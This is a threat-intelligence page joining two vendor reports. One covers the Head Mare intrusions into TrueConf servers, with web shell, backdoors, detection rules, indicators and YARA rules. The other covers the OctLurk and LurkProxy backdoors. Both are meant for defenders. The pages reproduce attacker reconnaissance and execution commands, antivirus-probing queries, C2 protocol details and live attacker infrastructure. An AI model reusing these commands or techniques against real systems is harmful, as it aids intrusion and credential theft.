  1. The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
  2. Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
  3. The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
  4. To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
  5. Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
  6. Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.

This web shell was used for the following activities:

  • collecting data on the IT infrastructure;
  • gaining privileged access to the TrueConf database;
  • replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.

The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.

The PhantomCore backdoor was successfully detected by Kaspersky solutions.

To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.

Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:

  • SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
  • SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.

To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.

We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:

$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1

Commands detected:

  • Memory dump of the lsass.exe process:

  • Reconnaissance of the user and system names:

hostname

whoami

"$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'

  • Launching an SSH reverse tunnel:

In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.

We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.

We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.

We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.

Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.

The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.

The malware used in this attack is detected by our solutions with the following detection names:

  • Backdoor.PHP.WebShell.abi,
  • Backdoor.Win64.PhantomCore.dt,
  • Trojan.Win64.Agent.smgvnc,
  • Trojan.Win64.Agent.smgvnb,
  • HEUR:Backdoor.Win64.PhantomCore.gen,
  • HEUR:Backdoor.Linux.Agent.fb,
  • HEUR:Backdoor.Linux.PhantomHook.a,
  • HEUR:Backdoor.Linux.PhantomReact.a,
  • Trojan.Win64.PhantomGraph.gen
  • UDS:Backdoor.Win64.PhantomCore.a

Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.

Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.

Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.

Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.

The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:

  1. Creation of suspicious files by TrueConf Server processes.
  2. Execution of a TrueConf Client installer file that lacks a software developer’s signature.
  3. Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
  4. Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
  5. Actions related to retrieving information about the lsass.exe process.
  6. Memory dump creation for the lsass.exe process using the comsvcs.dll library.
  7. Accessing the memory of the lsass.exe process.
  8. Creating tunnels using the ssh process.

To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:

  1. Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory:
    R405_07_File write to IIS native modules folder or OWA via WriteData.
  2. Creating a memory dump of the lsass.exe process using the comsvcs.dll library:
    R233_04_Process memory dump via comsvcs.dll.
  3. Accessing the memory of the lsass.exe process:
    R262_Suspicious access to the LSASS process.

We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:

  1. Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
    (DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
    AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
  2. Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
    DeviceEventClassID = '4697' 
    AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
    AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
  3. Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
    (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
    AND SourceProcessName LIKE '%\trueconf_windows_update.exe'

For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.

Indicators of compromise

File hashes (MD5)

Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php

Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe

PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt

PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll

Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494

Rootkit
aee9642b45b099cb7f3053b9b680b425

IP

81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61

Domains

penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum

Windows service names

SysExcSvc
SysReadSvc

File paths

C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2

Registry keys

HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32

Kaspersky detection names

Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a

YARA rules

import "pe"
rule apt_HeadMare_PhantomCore
{
meta:
    description = "Rule to detect PhantomCore used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "c5a460e4e68a088f6e51b2c6474642ec"
strings:
    $a1 = "lying.dll" ascii
    $a2 = { 2D 7F 95 4C 2D F4 51 58 }
    $a3 = { 4F 81 67 F7 7E 7B 05 14 }
condition:
    (uint16(0) == 0x5A4D) and (filesize &gt; 4MB) and (filesize  20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_FakeConf_installer
{
meta:
    description = "Rule to detect any unsigned TrueConf installers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "748c9f8cb1065000616204935f96207f"

strings:
    $a1 = "TrueConf Setup" wide
    $a2 = "This installation was built with Inno Setup." wide

condition:
    (uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_PhantomCore_exchange
{
meta:
    description = "Rule to detect PhantomCore exchange module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "489f43be558b2679284ceabed7adc4f3"
strings:
    $a1 = "graphi_exchange.dll" ascii
    $a2 = "graphi-client/1.0" ascii
    $b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
    $b2 = ":/children?$select=name,id&amp;$top=200" ascii
    $b3 = "offline_access Files.ReadWrite" ascii
    $b4 = "GRAPHI_INSECURE" ascii
    $b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
    $b6 = "https://login.microsoftonline.com/" ascii
condition:
    (uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))
}

rule apt_HeadMare_PhantomCore_executor
{
meta:
    description = "Rule to detect PhantomCore executor module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:
    $a1 = "graphi_reader.dll" ascii
    $a2 = "^input_(.+)\\.txt$" ascii
    $b1 = "output_" ascii
    $b2 = "cmd_cmd_" ascii
    $b3 = "cmd /c \"\"" ascii
    $b4 = "error: failed to start cmd process" ascii
    $b5 = "share" ascii
    $b6 = "SysReadSvc" ascii
condition:
    (uint16(0) == 0x5A4D) and (filesize &lt; 4MB) and (any of ($a*)) and (4 of ($b*))
}

rule apt_HeadMare_FakeLocale_webshell
{
meta:
    description = "Rule to detect the HeadMare TrueConf web shell"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-04"
    hash = "4d27b4eb1c5dbb3d8160f29b8119523e"

strings:
    $a1 = "X-Redirect-Bit" ascii wide nocase
    $a2 = "tc_vcs_web_db_conn" ascii wide
    $a3 = "user=postgres" ascii wide

    $b1 = "UPL ok::" ascii wide
    $b2 = "DWN fail nexs" ascii wide
    $b3 = "DWN fail inv" ascii wide

condition:
    (2 of ($a*)) or (2 of ($b*))
}

rule apt_HeadMare_TrueConf_Rootkit
{
meta:
    description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "aee9642b45b099cb7f3053b9b680b425"

strings:
    $a1 = "PQconnectdb"
    $a2 = "obfuscated_data"
    $a3 = "install_hook"

condition:
    (uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)
}

rule apt_HeadMare_Github_Backdoor
{
meta:
    description = "Rule to detect the HeadMare backdoor with Github C2"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "43f435c3c437bc879a2d7d4634f43494"
    hash = "c3a2abe8756910f42582b04a44ea3514"

strings:
    $a1 = "cryptor5crypt"
    $a2 = "execraw_task"
    $a3 = "jitter_task"
    $a4 = "upload_task"
    $a5 = "exec_task"
    $a6 = "react_comment"

condition:
    (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
}

  •  

The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution

Explore Unit 42 research on AI-enabled malware. Learn how existing behavioral detection and endpoint analytics stop AI-authored code before execution.

The post The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution appeared first on Unit 42.

  •  

OctLurk and SilkLurk: newly identified tailored backdoors in cyber-espionage campaign in Central Asia

Introduction

We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.

The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.

Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.

OctLurk

OctLurk Deployment

The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.

The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.

LurkPoxy Deployment

In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.

After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.

We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.

OctLurk loader

The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.

The double‑XOR decryption uses two distinct multibyte keys:

  • Key 1: hard‑coded in the loader
  • Key 2: derived from the serial number of the C: drive

The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.

OctLurk backdoor

The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:

  • OS information as RTL_OSVERSIONINFOW structure
  • Computer name
  • User name
  • Local host name
  • Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
  • Current local date and time as SYSTEMTIME struct

To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:

  • 0x00: randomly generated XOR key bytes (size 83 bytes)
  • 0x53: compressed data size
  • 0x57: compressed data in the following format: <uncompressed_size> <deflate(data)>
  • 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes)

The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.

  • 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
  • 0x0A: \x00\x00
  • 0x0C: next_packet_size

The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.

  • 0x00: XOR key; size 83 bytes
  • 0x53: compressed data size
  • 0x57: compressed data in the format: <uncompressed_size> <deflate(data)>

The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.

OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.

  • Command Shell: provides a command shell
  • File Manager: performs filesystem interaction
  • Interaction Manager: synthesizes keyboard and mouse events

The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.

Plugin type Description
File Manager ●       case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes.
●       case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name.
●       case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file
●       case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder.
●       case 0x10051: execute the specified command line using the CreateProcessAsUserW API.
●       case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API.
●       case 0x10070: create a directory.
●       case 0x10080: set the attributes for a file or directory.
●       case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2.
●       case 0x20010: get the size of a file.
●       case 0x20020: read a file from the system in chunks, starting at a specified offset.
●       case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times.
●       case 0x20040: close the file handle and free the associated metadata (file path, handle, and size).
●       case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2.
Command Shell ●       case 0x3E9: launch cmd.exe as shell.
●       case 0x3EA: send the exit command to close the command shell.
●       case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2.
If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file.
Interaction Manager ●       case 0x3E9: capture the entire screen as a BMP image.
●       case 0x3EA: capture the entire screen at specified intervals.
●       case 0x3EC: retrieve clipboard data.
●       case 0x3ED: copy the data to the clipboard.
●       case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button.
●       case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button.
●       case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button.
●       case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button.
●       case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event.
●       case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount.
●       case 0x3FD: press the key indicated by the virtual‑key code.
●       case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code.
●       case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button.

Post-compromise activity

The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:

Victim fingerprinting

The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.

The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.

Command Description
chcp 1256 Changes the system’s code page to 1256, which supports Arabic characters.
powershell $PSVersionTable Retrieves the version information of PowerShell.
qwinsta Views all active sessions on the local machine.
klist sessions Displays a list of logon sessions on this computer (Including Kerberos).
TASKLIST /V Lists all running tasks with detailed information.
findstr /i /c:”explorer.exe” Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V.
wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]” Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol).
powershell “ipconfig|select-string v4 -context 1,3” Uses PowerShell to filter ipconfig output for IPv4 addresses.
ipconfig /all Displays detailed network configuration information.
WHOAMI /all Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details.
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=” Retrieves information about installed antivirus software.
powershell Get-NetTCPConnection Retrieves information about TCP connections.
netstat -ano | findstr LISTENING Shows listening ports.
netstat -ano | findstr ESTABLISHED Displays established connections.
cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1 Filters established connections excluding the loopback address.
powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List” Retrieves detailed information about a specific process.
reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder.
cmd.exe /c dir /b c:\users Lists the contents of the C:\Users directory.
wmic startup get caption,command | findstr exe Filters startup items for executable files.
powershell “get-MpComputerStatus” Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system.
reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” Queries whether Microsoft Defender antivirus’s tamper protection is enabled.
reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender.
wevtutil gli Security Configures the Security event log.
wevtutil gl Security /f:xml Retrieves events from the Security log in XML format.
wevtutil gli “Windows PowerShell” Configures the Windows PowerShell event log.
wevtutil gl “Windows PowerShell” /f:xml Retrieves events from the Windows PowerShell log in XML format.
wevtutil gli System Configures the System event log.
wevtutil gl System /f:xml Retrieves events from the System log in XML format.
schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>” Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName.
systeminfo Displays detailed system information.
powershell “Get-WmiObject -Class Win32_BIOS | Format-list” Retrieves BIOS information.
powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list” Retrieves physical memory information.
powershell “Get-WMIObject -Class Win32_Processor | Format-list” Retrieves processor information.
powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list” Retrieves disk drive information.
netsh interface ipv4 show interfaces Displays information about IPv4 interfaces.
powershell “gwmi Win32_NetworkAdapter | Format-list” Provides hardware-level and driver-level information about adapters.
powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list” Provides network configuration details, such as IP address, DNS, DHCP status, etc.
ipconfig /all Displays detailed network configuration.
netstat -e -s Displays detailed network protocol statistics.
certutil -urlcache Displays URL cache entries.
ipconfig /displaydns Displays the contents of the DNS client resolver cache.

Event log collection

The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.

Credential harvesting

Impacket — secretsdump

Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.

Keylogger

Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.

The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.

Browser Password Decryptor

The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.

Remote access : Pandora FMS agents (Pandora RC agent)

Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.

The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.

  • EHUSER: a Pandora RC user
  • STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
  • EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
  • DESKTOPSHORTCUT: 0: do not create a desktop shortcut

Network scan: FSCAN

Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.

Email harvesting

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:

  • Verify that a connection to the email server is working
  • Authenticate the user
  • Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)

LurkProxy

In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.

Offset Data Type
0x00 (00) Unused –
0x08 (08) Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet bit array
0x0C (12) Command number int
0x10 (16) Handler number (unique identifier for each proxy client in the first mode) int
0x14 (20) Command integer argument int
0x18 (24) Unused –
